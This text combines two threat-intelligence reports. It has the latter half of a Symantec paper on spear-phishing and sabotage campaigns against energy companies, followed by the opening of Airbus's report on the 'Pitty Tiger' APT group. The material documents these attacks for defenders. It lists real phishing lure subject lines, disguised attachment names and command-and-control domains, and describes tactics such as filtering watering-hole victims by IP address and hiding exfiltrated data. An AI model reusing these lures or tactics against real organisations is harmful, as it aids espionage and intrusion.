True or not, this shows that it is not necessarily only state-sponsored attackers who are carrying out disruptive
attacks.
Sabotage attacks usually fall into the orbit of hacktivists, who seek attention rather than profit.
Some
sources reported that the attackers had help from insiders, which would explain the so far unclear infection
vector.
Soon after this attack became known, a Qatari gas company was attacked in a similar way.
Page 12
SPEAR PHISHING ATTACKS
IN THE ENERGY SECTOR
A spear phishing
attack consists
of an email with
either a malicious
attachment or a
link to a malicious
website.
Targeted Attacks Against the Energy Sector
Spear phishing attacks in the energy sector
Spear phishing is, along with watering hole attacks, one of the most common attack vectors used to
attack companies.
The attacks are simple to carry out.
They often follow the same pattern, starting with a
reconnaissance phase to gather all publicly available information.
This is followed by the incursion phase of
breaking in and compromising computers.
After that comes the discovery phase, where the attacker gathers
passwords and maps the internal network.
The final stage is capture and exfiltration, where the valuable
information is copied and sent back to the attacker.
The last phase may also involve a disruption attack if the
goal is sabotage.
For a more detailed analysis of the attack phases, see Appendix C.
A spear phishing attack consists of an email with either a malicious attachment or a link to a malicious website.
Such emails are sent in bulk to a handful of key users.
These waves are often repeated till enough people fall for
the bait and compromise their computers.
For analysis on the social engineering themes used, attack details and
attachment types used, see Appendix A.
New Year’s campaign
Some of the spear phishing campaigns are smaller in scale and are focused on specific targets.
For example, on
January 1, 2013 a global energy research company was targeted.
A wave of spear phishing emails were sent from two Freemailer accounts to 291 individuals at the targeted
company.
All receiving email addresses started with a letter between G and R, covering half of the alphabet.
Whether there was a second wave of emails using the other half of the alphabet or whether the attackers only
got their hands on part of the address book remains unknown.
All emails had either the subject line “2013,Obama QE4!
Merry Christmas !” or “2013,Obama QE4!”.
It is
common to see spear phishing attacks take place around holidays, as people are receiving more emails during
these times and are less likely to perform due diligence while opening them.
All of the emails contained the same
Trojan.
Dropper disguised as an attachment with the filename AVP.dll.
The malware itself drops a malicious Downloader “clbcatq.dll” into a newly created “wuauclt” directory, posing
as Windows update and taking advantage of the DLL search order hijack weakness in order to load the malicious
code in Windows.
The same family of dropper has been used in previous targeted attacks against other sectors,
indicating that a group with multiple interests is behind the attacks.
The back door provided full access to the
compromised computers.
A week later, on January 7, 2013, the group attacked the same company again.
Seventy emails were sent to
58 individuals using either “2012-13 NFL Playoffs Schedule” or “Re: 2012-13 NFL Playoffs Schedule” as a
subject line.
In this wave, the attackers used a similar AVP.dll to the one used before.
In some of the emails, an
additional CHM file with an old exploit was used in an effort to maximize the chances of a successful infection.
After this second wave, the attack ceased.
It is unknown if the attackers successfully retrieved the information
they were seeking, if they installed other back door Trojans or gained passwords that allowed them to directly
access the computers, or if they have given up on the target.
Greek oil campaign
A global oil company, with offices around the world, had been under continuous attack for some time, but in
September 2012 we noticed an upsurge in activity, with 34 times more suspicious emails than on average.
This
provided a clear indication that something suspicious was going on.
At the end of this wave of emails, a hotel
chain, a rental car company and two financial institutions were also targeted by the same attacker.
This may
have been an attempt to find further information that could be used in a future social engineering attack against
the oil company.
In total, 136 email accounts at the oil company were targeted.
A regional sales manager in Greece received
Page 14
Targeted Attacks Against the Energy Sector
412 emails over the
12 month period,
with 155 different
attachments.
A HR
person in the same
country received
the second largest
amount of emails with
90 in total.
Seventeen
other people were
targeted between 70
and 90 times, many in
the same region.
The
rest of the targeted
people received less
than five emails each,
in what seems to have Figure 1.
Number of emails targeting the company per day
been an undirected
spraying in the hope
that at least some would fall for the bait.
Clearly the one person that received the highest volume of emails was
deemed to be of high value to the attackers.
Possible explanations for the attack could be that a competitor
wanted to know more about some upcoming deal or details on the oil field exploration, but this would be highly
speculative.
The spear phishing emails came from 234 spoofed addresses.
They were made to appear to be linked to the
company in relation to the subject and attachment chosen.
Many of the emails came from the same country as
the main targeted sales manager.
The emails all contained malicious attachments.
None of them linked to third party sites for drive-by downloads.
Of the attachments, 1,588 had a .exe extension.
Of those, 842 had a .pdf.exe extension.
The malware chosen
was a variant of the Poison Ivy Trojan Backdoor.
Darkmoon and, in some minor cases, Trojan droppers that would
download additional malware.
The attackers did not use any zero-day exploits to drop a payload.
The social engineering messages concentrated mainly around the following two themes:
E-books and newspapers:
•	 E-Book.pdf.exe
•	 BusinessWeek.pdf.exe
•	 Financial Times E-Paper.pdf.exe
•	 The Economist Print Edition.pdf.exe
•	 The NY Times In Print.pdf.exe
Free desktop tools:
•	 Babylon9 - Greek.exe
•	 Google Desktop Translator.exe
•	 SMS Free Sender Desktop.exe
•	 BBC iPlayer.exe
•	 Sticky Notes Desktop.exe
Once installed, the back door would create a registry run key in order to restart with Windows and connect to
one of three C&C servers located in Greece.
The last C&C server has been used since 2010 in similar attacks
against other companies.
Other sub-domains at the same free host and DNS service have been used by other
groups to spread malware in the past.
•	 updates.zyns.com
•	 amazoaws.dyndns-office.com
•	 msupdate.3utilities.com
Page 15
Targeted Attacks Against the Energy Sector
The chosen names of the C&C server domains imitates legitimate services in a bid to be overlooked by the system
administrators when checking their logs.
The back door provides full remote access to the compromised computers, allowing for extraction of any data.
It is
unknown if the attackers succeeded in their goal and if valuable information has been extracted.
The attacks did not
completely disappear, but the email volume decreased significantly to only a few emails per week afterwards.
Motivation and origin
As with all targeted attacks, there are many different groups of attackers operating in this field.
These attacks cannot
be attributed to only one group or geographical region.
We have seen individuals, competitors, hacktivist groups
and possible state sponsored agents carrying out attacks against energy companies.
Some of the attacks have been
purely opportunistic, seeking any valuable information available.
Other campaigns look like they were planned over a
lengthy period and carried out methodically with a clear goal in mind.
The attackers tend to go after valuable information, including maps of new gas fields or research on efficient
photovoltaic generators.
This information can be of great value to competitors or nations that want to make progress
in the same field.
Another motivation for attackers is to profit from the information stolen by blackmailing the
company.
The same information can be used to carry out sabotage attacks designed to disrupt ICSs, as the energy sector is
also a primary target for sabotage attacks which will not generate direct profit for the attacker.
A competitor might
be interested in generating bad press and bad customer experience for a rival company, in order to win some new
clients.
For example, in January 2013 a group claiming to be related to Anonymous posted access details for what they said
were Israeli SCADA systems for power plants and other systems.
Meanwhile, “Operation Save the Arctic” targeted
multiple oil companies around the globe in protest against drilling plans in the Arctic.
Disgruntled employees are also a source of attacks that should not be underestimated.
With their knowhow about
internal critical processes and systems they often know how to inflict serious damage.
They may be able to perform
system modifications that could go unnoticed for a long periods.
Page 16
Targeted Attacks Against the Energy Sector
Protection and mitigation
For all regular client computers, the well-established best practice guidelines apply.
These computers are often
the first ones to be attacked.
Once compromised, the attacker will use these computers and try to explore deeper
into internal networks.
Securing and hardening of deployed operating systems with a working strategy for patch
deployment is important.
Reoccurring security awareness training can help users to identify social engineering
attempts and prevent them from falling victim to them in the first place.
The company can perform penetration testing on Web and network applications but also on ICSs to identify and
remedy any vulnerability.
For examples Web applications should be tested against SQL injection attacks.
This can
also help confirm if applied polices are followed through, if the patch level is correct on all computers and if systems
are compliant.
Companies can monitor the Internet for information about attacks in the same vertical and apply lessons learned
where possible.
In addition, different layers of security products can help achieve better overall protection.
•	 Security Information and Event Manager system (SIEM): Using a SIEM can help correlate all related alerts in
one place.
This centralized view can be cross referenced with threat intelligence data to generate prioritization and
an action plan.
Painting the bigger picture of the overall security state can reveal previously unnoticed attacks.
For example failed login attempts on internal servers could indicate a password breach.
This includes logging of
critical systems and synchronization of time among multiple systems.
•	 Ingress and egress filtering: Filtering the network traffic with firewalls, content filters and IPS allows the control
of data flows.
This can prevent attackers from reaching internal systems.
It is important to also monitor outbound
traffic, as data exfiltration is a key point for cyberespionage.
It should be noted that with the increased use of
cloud services and mobile devices, some traffic might never pass through the company’s gateways.
Where traffic
blocking is too disruptive at least monitoring should be implemented.
•	 Data loss prevention (DLP): DLP solutions can track the access and flow of critical information and prevent it
from leaving the company or encrypt it automatically.
•	 Endpoint protection: Depending on the usage pattern of the computer, different solutions are available to protect
the endpoint.
Antivirus solution with proactive detection methods like behavioral analysis and reputation scanning
can prevent unknown malware from installing itself.
HIPS (host based intrusion prevention systems), behavioral
lockdown or whitelisting can protect computers from any kind of unwanted tampering without the need of
constant updates.
•	 System protection: For non-standard IT systems, hardening can increase the security.
On industrial systems
which are not often updated or that cannot be updated, exploitation can be prevented with the help of lockdown
solutions like Symantec Critical System Protection (CSP).
Through policies, only trusted system applications are
allowed to run.
ICS should be regularly checked and upgraded if new firmware exists.
Where this is not possible
HIPS and behavioral lockdown tools can be used to secure computers.
•	 Email filtering: Proper email filtering can prevent many spear phishing attempts from reaching users.
They can
help minimize the risk of an untrained user falling for social engineering tricks.
•	 Authentication: Some of the ICS contain hardcoded passwords and, wherever possible, these should be changed.
ICS frequently use weakly authenticated protocols that allow for impersonation attacks.
Where possible those
authentication methods should be upgraded or at least closely monitored.
Strong authentication or PKI should be
used where applicable.
Industrial control systems (ICS) should be specially protected and monitored.
The control system and control
network should be secured.
Where possible, ICS should be separate from the Intranet.
Isolating these networks alone
is often not enough to protect the control network, but it can make it more difficult for attackers to succeed.
For
some systems it can make sense to have a plan to quickly disconnect or separate critical machines in the event of a
detected cyberattack.
Page 17
CONCLUSION
In the second
half of 2012, the
energy sector was
the second most
targeted with 16
percent of all the
targeted attacks.
Targeted Attacks Against the Energy Sector
Conclusion
Cyberespionage campaigns and sabotage attacks are becoming increasingly common, with countless threat
actors attempting to gain a foothold in some of the best protected organizations.
At this stage, roughly
five targeted attacks per day are being mounted on firms in the energy sector.
These attacks have become
increasingly sophisticated, although the capabilities and tactics used by these threat actors vary considerably.
In the second half of 2012, the energy sector was the second most targeted with 16 percent of all the targeted
attacks.
This strong increase was mainly due to a large scale attack against one global oil company.
In the first
half of 2013, the energy sector was ranked fifth with 7.6 percent of all attacks focused on this sector.
In general
we have observed that attackers are becoming more efficient and focusing on smaller operations that attract
less attention.
The attackers tend to go after valuable information – such as maps of a new gas field – but the sector is also
a major target for sabotage attacks, which will not generate direct profit for the attacker.
Such disruptive
attacks do already happen and may lead to large financial losses.
State sponsored agents, competitors, internal
attackers or hacktivists are the most likely authors of such sabotage attacks.
Fortunately, there have not been many successful sabotage attacks against energy companies to date.
However,
the increasing number of connected systems and centralized control for ICS systems means that the risk
of attacks in the future will increase.
Energy and utility companies need to be aware of these risks and plan
accordingly to protect their valuable information as well as their ICS or SCADA networks.
Page 19
APPENDIX
Targeted Attacks Against the Energy Sector
Appendix
A.
Spear phishing
Social engineering themes used
Social engineering is an essential part of spear phishing campaigns.
A cleverly chosen, enticing message may prompt
the user into opening an attachment.
It is evident that most attackers are carefully selecting the themes that they
use for their attacks.
Some groups use real news stories and copy the text directly from the newspaper websites.
Others try to appeal to personal hobbies in order to get the user’s attention.
In the energy sector the most commonly used theme for spear phishing emails was money related (e.g.
“Wage Data
2012”) followed by sports related themes (e.g.
“2012-13 NFL Playoffs Schedule”).
As an example, the subject line “Wage Data 2012” was used in 944 emails, sent from 26 different email addresses
to targets in nine different sectors.
The attack was carried out over eight days and used the same infected Microsoft
Word document in every instance.
In general any topic can be used in a social engineering attempt, which makes it even harder for regular users to spot
the attacks.
Here are a few examples of subject lines used, listed by category:
Contact detail updates:
•	 Updated Corporate & Regional Office Contact Information
•	 Updated Information For Contact List
•	 Address Change
Event and conference details:
•	 The Energy and Economic Summit 2012
•	 12th Annual International Conference on Politics & International
•	 Fw: Doha Climate Change Conference - November 2012
•	 US Energy Information Administration Invitation
Global news stories:
•	 BREAKING NEWS PHOTOS,BEIJING
•	 President Obamas Asia Policy and Upcoming Trip to the Region
•	 DoD Protection of Whistleblowing Spies
•	 U.S.
Engagement in the Pacific
Money related:
•	 Acknowledge Payment
•	 Payroll Invoice for week ending 02/15/2013 - 09509
•	 Bank Details/Swift Code Error
•	 Unable to process your most recent Payment
Sport related:
•	 2012 NFL Schedule
•	 2012-13 NFL Playoffs Schedule
•	 2012-08-02 Thursdays sixth day of the 2012 Olympic Games
•	 London 2012 Medal Top 10
Lifestyle related:
•	 125 Best Foods for Men
•	 2013 Lingerie Calendar... discover your deepest desires!
Page 21
Targeted Attacks Against the Energy Sector
•	 8 Minutes to a Longer Life
Special interest groups:
•	 Shamoon Upgrade Edition Malware Might Be Flame Copycat!
•	 CyberAlert: Cyberattacks spread in banks all over the world
•	 3D printing technology used in Chinese fighter jets
•	 2013 Defense Industries Manufacturing
Spear phishing attack details
In the last six month of 2012 the average
number of targeted attacks observed per
day was 87 (with 14 in the energy sector).
In the first six month of 2013 the average
number decreased to 60 targeted attacks
per day (five in the energy sector).
The
spike in August and September 2012
is mostly related to a large scale attack
against a global oil company.
The increase
in May 2013 was due to multiple attacks
against financial services, public sector
and IT service organizations.
The government and public sector was
quantitatively the most attacked sector,
with 25.4 percent of all targeted attacks
falling in this sector for the last half of
2012 and 24 percent for the first half of       Figure 2: Number of targeted attacks per day
2013.
The energy sector accounted for 7.6
percent of all targeted attacks, making it
the fifth most targeted sector in the first six month of 2013.
This was a big decrease from 16.3 percent of all attacks
in the last half of 2012, when it was the second most attacked sector.
This spike in 2012 is mainly due to a large
attack campaign against a global oil company which took place in September 2012.
On average we saw
18.6 mail accounts
being attacked for
any given target
company in the
last half of 2012
(60.7 in the energy
sector) and 5.6 email
accounts in the first
half of 2013 (10 in
the energy sector).
Overall, we see a
trend of the attacker
conducting more
focused attacks
against fewer
individuals.
This
generates less noise
and the risk of getting
noticed or discovered
is smaller.
These
emails are sent in
Figure 3: Top 10 of targeted attacks by vertical sectors
small bursts and then
Page 22
Targeted Attacks Against the Energy Sector
repeated against a changing
target space till enough
computers are compromised.
Attachment types used
Half of all the attachments
analyzed used an extension that
would run directly when double
clicked.
This old method is still
the most common scheme used.
Of all attachments analyzed,
38 percent were .exe and 12
percent were .src files.
In total
only 6 percent used double
extensions like .pdf.exe to fool
the user.
It should also be noted Figure 4: Average number of mail accounts targeted per company
that 23 percent were Microsoft
Word documents using some exploit to execute custom code on the computer.
There were also some more exotic
extensions used like AutoIt scripts
(.au3) and ZX-Edit files (.zed), but
these are the exception rather
than the rule.
It might be that the
attackers tried to bypass some email
filtering software by experimenting
with different attachment types.
Sometimes even older exploits like
the Microsoft DirectX DirectShow
Length Record Remote Code
Execution Vulnerability (CVE-
2009-1539) in .mp4 files are still
occasionally used.
This indicates
that either not all attackers have
the knowhow to use newer exploits
that are publicly available or they
speculate that the target has not
patched all computers.
Some of
the attackers do not seem to be too
sophisticated.
For example they used
“www.
[COMPANY-NAME].com.exe” as
an attachment name, clearly missing
that the “.com” at the end would be
sufficient to run it and the additional
“.exe” was not needed.
Figure 5: Extensions used in targeted attack emails
Page 23
Targeted Attacks Against the Energy Sector
B. Visualization with TRIAGE
To identify a series of targeted attacks that are likely performed by the same individuals, we have used a novel attack
attribution methodology named TRIAGE.
Developed by Symantec Research Labs, TRIAGE is data mining software that
relies on multi-criteria decision analysis and intelligent data fusion algorithms to reliably link different attacks to the
same source.
This framework has been developed in order to automate cyberintelligence tasks and reduce the time
needed to get insights into organized cybercrime activities.
By enabling rapid analysis of large security data sets,
Symantec analysts can then quickly and more efficiently attribute various waves of cyberattacks to a specific attack
campaign likely run by the same individuals.
Figure 6: Graph view of attack wave against company targeted in the New Year’s campaign
The TRIAGE framework was recently enhanced with novel visualizations thanks to VIS-SENSE, a European research
project aiming at developing visual analytics technologies for network security applications.
Page 24
Targeted Attacks Against the Energy Sector
Figure 7: Visualization graph of the Greek oil campaign
Since its original conception, TRIAGE has been
successfully used to analyze the behavior of
cybercriminals involved in various types of Internet
attack activities, such as rogue antivirus websites [1],
spam botnets operations [2], scam campaigns [3] and
targeted attacks performed via spear phishing emails
[4,5].
C. Phases of targeted attacks
As with any other targeted attacks, attacks against
the energy sector often follow the same pattern.
It
can be broken down in different phases of attack.
It
should be noted that we have seen attackers modify
their behavior and exceptions from the norm and this
is possible especially if the target company has special
circumstances or security measures in place.
Figure 8: Typical phases of targeted attacks
Page 25
Targeted Attacks Against the Energy Sector
Reconnaissance phase
During this phase the attacker tries to learn as much as possible about the targeted organization.
Information sources often include social networks, job posting sites and press releases.
This enables the attacker
to learn the contact details of possible target individuals as well as context that can be used in social engineering
scenarios.
The attacker will often create a list of implemented security software used at the targeted company
from whatever information is available.
These investigations often start completely passively without any direct
contact with the company, since there are many data sources publicly available.
Subsequently the attacker can use
more interaction if needed.
Some attackers go through all the effort of creating a fake social media account and
befriending key employees.
After a period of small talk, to create a false sense of security, such a connection can
then be used to pass on an infected document or find out about some key information.
Depending on the targeted
location, physical reconnaissance and eavesdropping may also be used.
Incursion phase
The actual break-in occurs during this phase.
The attacker usually compromises the network by delivering targeted
malware to vulnerable systems or employees.
There are two main avenues of attack.
One is to send spear phishing
emails, where a link to a malicious website or a malicious attachment is delivered using social engineering
techniques.
The second method, which is gaining traction, is watering hole attacks, where the attacker infects a
website that has a high likelihood of being visited by the intended victim.
By using IP address filters before infecting
any visitor of such sites, the attacker can reduce the number of infected systems and bring it to a manageable
quantity which can be assessed manually at another time.
Some groups carefully plan watering hole attacks.
For example the Hidden Lynx group stopped using a zero-day
vulnerability in a large watering hole attack after Microsoft released details on the vulnerability.
This helped to cover
their activities and avoid unwanted attention.
A few days later the group resumed the watering hole attack again,
this time using a different exploit.
For more difficult targets, man-in-the-middle attacks can be used.
These can be performed either at the same
physical location, posing as a genuine Wi-Fi hotspot or through supply chain attacks.
This can enable the attacker to
swap an update of legitimate software for a maliciously crafted version.
Once the victim installs the genuine looking
update, the attacker effectively gains control over the computer.
Due to the complexity of such an attack, they are
rarely used.
Depending on the skills of the attacker and the time available, the attacker might also attack systems at
the perimeter, such as Web servers, and try to break in from there.
The malware used is not always sophisticated.
Sometimes a regular off-the-shelf back door Trojan is used.
In
these cases the person behind the malware orchestrating the commands is what makes the difference between a
targeted attack and a broad generic infection.
Having said this, on very unique targets, we will often see the use
of a specifically designed piece malware, such as in the case of Stuxnet.
Depending on the protection measures
implemented by the target, the attackers may also digitally sign their malware creation.
In the past there have been
quite a few cases where code signing certificates were stolen and later misused to sign malware in order to pass it
unnoticed to high value targets.
Discovery phase
Once the attacker has a foothold on one system, the next step is to create a plan for lateral movement through the
network until the interesting data is found.
With more specialized teams of attackers, we can often observe that the
infected system is first analyzed to ensure that it is of interest to them.
With watering hole attacks especially, it can
happen that computers that were not targeted get infected.
Infected computers need to be assessed by the attacker
and, if necessary, removed to keep the profile, and with that the chances of exposure, low.
One of the obvious tasks performed by attackers is to install key loggers, dump local credentials, search local
storage for saved accounts and sniff the network for passwords.
Any account detail can be useful to them.
Domain
administrator passwords are of especially high value, as they can help greatly in moving further through the Intranet.
Often small scripts or even manual commands are used to comb through local files and create network mappings.
Simple system commands can help the attacker to learn about installed security tools, saved links to internal
Page 26
Targeted Attacks Against the Energy Sector
platforms and local address books.
Once new systems are identified the
attacker will attempt to hop onto
them as well.
In some instances
they might even use zero-day
vulnerabilities to spread further into
the network.
One method which is gaining more
relevance is the hijacking of local
software distribution systems for
further distribution.
This can either
be proprietary systems, such as the
case of Trojan.
Jokra in South Korea,
or OS-specific, such as hijacking
Windows Update, in the case of
Flamer.
Once the attackers have
successfully managed to create
and distribute their own package,       Figure 9: Typical commands used during discovery phase
they can easily infect all connected
systems at once.
Especially in cases
of wiping attacks, such Trojan.
Jokra, this is a very efficient way to disrupt as many computers as possible.
If the target is assumed to be in a separated network not connected to the Internet, the malware used might try and
autonomously infect removable drives, like USB sticks, or project files for PLCs.
This could allow the malware to be
manually introduced to the destination network, without the knowledge of the carrier, essentially jumping air gaps
into isolated networks.
At the end of the discovery phase the attackers should know the internals of the infected networks and have
identified systems with interesting data or with connected industrial control systems.
Capture/exfiltration phase
The capture and exfiltration phases are not always present.
If the sole goal of the attackers is to cause a disruption
they may directly jump to a destructive payload.
However, in most cases information is extracted first, which in turn
allows the sabotage to be constructed more efficiently at a later phase.
In this phase the interesting data is gathered and sent back to the attackers.
This can be done with different levels of
sophistication.
The simple attacks compress the files and upload them through FTP or through a HTTP POST request
to a remote drop server.
More sophisticated attackers obfuscate the data by XOR-ing it, encrypting it with proper
asymmetric encryption or embedding it into media files using steganography to hide the data from traffic inspection.
In addition to this, the amount of data sent and the timing can be chosen in a smart way.
For example, some malware
samples will send the data in smaller bursts so as not to swamp the network or generate network spikes that might
attract attention.
Since most employees use laptops, the malware can use location awareness to detect if the
compromised computer is outside of the corporate network and send the data once it’s directly connected to the
Internet, such as from a Wi-Fi hotspot at an airport.
This might allow the traffic to bypass perimeter security and
receive less scrutiny.
In some instances the infected computer might not have a direct connection to the Internet.
In
such cases, a previously compromised computer in the DMZ can act as a proxy, forwarding all the collected data.
Disruption phase
This is when any destructive payload is launched.
If the attackers are only after information this phase might not
happen at all.
The targets and the goals for disruption attacks can be very different, there is no such thing as one-
size-fits-all for disruption attacks.
For example, Stuxnet was tailored to attack a specific uranium enrichment facility
and would not work against a different target.
In recent times, wiper Trojans have been popular in attacks against the energy sector.
The malware deletes all files
Page 27
Targeted Attacks Against the Energy Sector
on a computer and then deletes the master boot record, rendering the computer unusable.
This can happen on
any operating systems and we have seen scripts for different UNIX flavors being used as well.
Depending on
the disaster recovery plan in place, these computers can be remotely recovered.
However, there may still be an
outage while the computers are being restored.
Resources
[1] Marco Cova, Corrado Leita, Olivier Thonnard, Angelos D. Keromytis, and Marc Dacier.
An analysis of rogue
AV campaigns.
In Proc.
of the 13th International Conference on Recent Advances in Intrusion Detection
(RAID), 2010.
[2] O.Thonnard, M.Dacier.
A Strategic Analysis of Spam Botnets Operations.
CEAS’11, Perth, WA, Australia,
Sep 2011.
[3] Jelena Isacenkova, Olivier Thonnard, Andrei Costin, Davide Balzarotti, Aurelien Francillon.
Inside the SCAM
Jungle: A Closer Look at 419 Scam Email Operations.
International Workshop on Cyber Crime (IWCC 2013),
IEEE S&P Workshops, 2013.
[4] Olivier Thonnard, Leyla Bilge, Gavin O’Gorman, Seán Kiernan, Martin Lee.
Industrial Espionage and
Targeted Attacks: Understanding the Characteristics of an Escalating Threat.
In Proc.
Of the 15th
International conference on Research in Attacks, Intrusions, and Defenses (RAID), 2012.
[5] Symantec Internet Security Threat Report (ISTR), Volume 17, April 2012.
Page 28
Author
Candid Wueest
Principal Software Engineer

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Pitty Tiger Group
The Eye of the Tiger
Credits:                     Ivan FONTARENSKY                           Malware Research
Fabien PERIGAUD                            Reverse Engineering
Ronan MOUCHOUX                             Threat Intelligence
Cedric PERNET                              Threat Intelligence
David BIZEUL                               Head of CSIRT
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Operation Pitty Tiger – “The Eye of the Tiger”
EXECUTIVE SUMMARY
Operation Pitty Tiger – “The Eye of the Tiger”
Cyber espionage has been a hot topic through the last years.
Computer attacks known as “APT”
(Advanced Persistent Threat) have become widely reported and emphasized by the media,
damages are now considered as real and strategic trends are moving in cyber defense.
AIRBUS Defence & Space – CyberSecurity unit responds to such attacks for its customers every
day, developing a complete range of solutions.
Today, we decided to release publicly information on a specific group of APT attackers known as
“Pitty Tiger”.
This information comes directly from investigations led by our Threat Intelligence.
Pitty Tiger is a group of attackers that have been active since at least 2011.
They have targeted
private companies in several sectors, such as defense and telecommunications, but also at least
one government.
We have been able to track down this group of attackers and can provide detailed information
about them.
We were able to collect and reveal their “malware arsenal”.
We also analyzed their
technical organization.
Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so far, rather they
prefer using custom malware, developed for the group’s exclusive usage.
Our discoveries
indicate that Pitty Tiger is a group of attackers with the ability to stay under the radar, yet still not
as mature as other groups of attackers we monitor.
Pitty Tiger is probably not a state-sponsored group of attackers.
They lack the experience and
financial support that one would expect from state-sponsored attackers.
We suppose this group
is opportunistic and sells its services to probable competitors of their targets in the private sector.
We have been able to leverage several attackers profiles, showing that the Pitty Tiger group is
fairly small compared to other APT groups, which is probably why we saw them work on a very
limited amount of targets.
At the end of this report, we provide indicators of compromise to help people detect current Pitty
Tiger attacks.
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Operation Pitty Tiger – “The Eye of the Tiger”
TABLE OF CONTENT
EXECUTIVE SUMMARY ..................................................................................................... 2
TABLE OF CONTENT......................................................................................................... 3
MODUS OPERANDI: APT ATTACKS ................................................................................ 5
Reconnaissance phase.......................................................................................................... 5
Initial compromise .................................................................................................................. 6
Access strengthening & lateral moves ................................................................................... 6
Data exfiltration ...................................................................................................................... 7
“PITTY TIGER” INVESTIGATION CONTEXT .................................................................... 8
INFECTION METHODS....................................................................................................... 9
Spear Phishing and weaponized documents ......................................................................... 9
Direct attacks ....................................................................................................................... 10
MALWARE INFORMATION .............................................................................................. 12
Troj/ReRol.A ........................................................................................................................ 12
PittyTiger RAT ..................................................................................................................... 16
CT RAT................................................................................................................................ 19
MM RAT (aka Troj/Goldsun-B) ............................................................................................. 23
Paladin RAT ........................................................................................................................ 26
Leo RAT .............................................................................................................................. 28
INFRASTRUCTURE .......................................................................................................... 30
Avstore.com.tw .................................................................................................................... 30
Skypetm.com.tw .................................................................................................................. 32
Common characteristics between the two domains ............................................................. 35
Other domains linked with the Pitty Tiger group ................................................................... 36
VICTIMS ............................................................................................................................ 39
ATTACKERS ..................................................................................................................... 40
Attacker’s connections to the c&c ........................................................................................ 40
“TooT” .................................................................................................................................. 44
“Cold & Snow”...................................................................................................................... 48
Roles and organization ........................................................................................................ 48
Attackers arsenal ................................................................................................................. 49
ATTRIBUTION .................................................................................................................. 53
CONCLUSION ................................................................................................................... 56
INDICATORS .................................................................................................................... 57
Domains .............................................................................................................................. 57
Malware hashes................................................................................................................... 57
Malware Strings ................................................................................................................... 58
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Operation Pitty Tiger – “The Eye of the Tiger”
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
MODUS OPERANDI: APT ATTACKS
APT attacks follow what we call the “APT kill chain”.
The kill chain describes briefly the way
attackers do perform their actions.
It can be summarized by the following scheme:
RECONNAISSANCE PHASE
The reconnaissance phase commences when an attacker selects a new target and involves the
acquisition of information about that target.
There is very little information available about this phase, and there is little data about it.
The only
way to collect information about this phase would be to already monitor all attackers’ actions at this
step, which is hardly feasible.
The longer the attackers spend time in attempting to understand their target and its online presence,
the easier it will be to find efficient ways to penetrate that company’s systems.
This reconnaissance phase is both about finding information to break into the targeted network
successfully and about searching for data which could help to accelerate sensitive information
isolation (like the name of a key employee for example).
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Operation Pitty Tiger – “The Eye of the Tiger”
This phase mostly relies on open sources from the Internet: social networks, press releases, white
papers, corporate websites, search engines, but also on some active tools like vulnerability
scanners etc.
INITIAL COMPROMISE
At this stage, the APT attackers have a solid knowledge of their target and its key employees.
The
attackers have everything they need to start looking for an entry point to the company’s network and
establish one or several permanent backdoors into the environment.
The attackers mostly rely on two techniques here to infect one or several computers, usually
workstations, inside the target’s network: spear phishing and drive-by downloads.
Spear phishing can be described as targeted e-mail phishing.
In a spear phishing scheme, attackers
send very few e-mails to targeted people.
In fact, they can even send just a single e-mail.
The trick
is to target the right victim and provide it with the right content, so that they will click on a link leading
to drive-by download of a malware, or open an attached file which will infect their computer.
Some groups of attackers also use “watering hole” techniques to successfully compromise their
targets.
To build a watering hole attack, attackers do compromise the website of a third party,
generally a supplier of the target, which is typically visited by a specific group of professionals and
very likely by the target.
Every visitor of the compromised third party is then infected.
The method
has one major drawback: it will also infect third parties who visit the website.
Attackers have
developed ways to avoid this.
If their reconnaissance phase has been done effectively, they already
know all IP ranges used by the target company.
It just takes a few lines of code in the infecting script
to only compromise visitors coming from the target IP ranges.
Direct attacks against servers of the target can also be a way to penetrate the target’s network.
ACCESS STRENGTHENING & LATERAL MOVES
Attackers have gained access to one or several machines inside the target’s corporate network.
They need to install several different backdoors in order to be able to always access the network.
In
case one backdoor falls, there will be others.
As soon as the attackers are sure they have enough access, they start looking for two things:
intellectual property (or anything else they want to know or steal) in alignment with predefined
mission objectives, and a means of privilege escalation to facilitate lateral movement within the
compromised environment.
It generally does not take long before the attackers gain domain
administrator privileges and dump all the Active Directory content.
They use lateral moves between machines inside the network, and look for everything they need.
This step is very hard to detect, since they only use valid credentials and legitimate administration
tools such as PsExec.
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Operation Pitty Tiger – “The Eye of the Tiger”
DATA EXFILTRATION
Data exfiltration is the last step before the attackers loop to the lateral moves step, in a never-ending
circle of prolonged access and information theft.
They generally create archive files containing the content they want to exfiltrate, which are then sent
to the attackers by using a remote administration tool (RAT) or transfer protocols such as FTP and
HTTP.
This phase is not the end of an APT attack.
The attackers loop to the access strengthening/lateral
moves stage and generally keep stealing more information and stay inside the network for more
data gathering.
For more information about all the APT phases, please refer to our APT Kill Chain blog post serie1.
1
http://blog.cassidiancybersecurity.com/tag/APT
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Operation Pitty Tiger – “The Eye of the Tiger”
“PITTY TIGER” INVESTIGATION CONTEXT
During our regular investigations on APT cases, one particular variant of malware caught our
attention, because we had not faced it before.
We decided to spend some time to investigate around
this malware and found out that it was used exclusively by a single group of attackers.
This malware
family is known as “PittyTiger” by the anti-virus research community.
We discovered this malware sample in June 2014, leading to a command & control (c&c) server still
in activity.
Our researches around this particular malware family revealed the “Pitty Tiger” group has been
active since 2011, yet we found other publications1 which could probably be attributed to the same
group of attacker back in 20102.
This group uses other malware and tools during their APT operations, in addition to the PittyTiger
RAT.
A variant of the infamous Gh0st RAT dubbed “Paladin” has been used repeatedly by the PT group,
together with other RATs which seem to be developed exclusively for the PT group: “MM RAT” (aka
Troj/Goldsun-B), and “CT RAT”.
Another variant of Gh0st RAT named “Leo” has been found inactive
on a c&c server.
We also found another malware, named “Troj/ReRol.A”.
This one is also used by the group to infect
workstations, collect system information, and install more malware on the infected computer.
It acts
as a first stage downloader and system data collector often used in the initial compromise of the
Pitty Tiger campaigns, generally embedded in Microsoft Office documents.
Thanks to server’s misconfigurations, we managed to get information from three c&c servers used
by this group of attackers, which provided us with insight from the end of 2013 to the beginning of
July 2014.
Our investigation has been focused on the data we could get from these c&c servers but also on the
Pitty Tiger environment.
This whitepaper aims to expose the view we have on the group, especially on their infrastructure
and capabilities.
We hope this publication will bring further counter analysis from the research
community to enrich the global common threat knowledge.
1
http://nakedsecurity.sophos.com/2012/08/03/poisoned-doc-targeted-malware-attack/
2
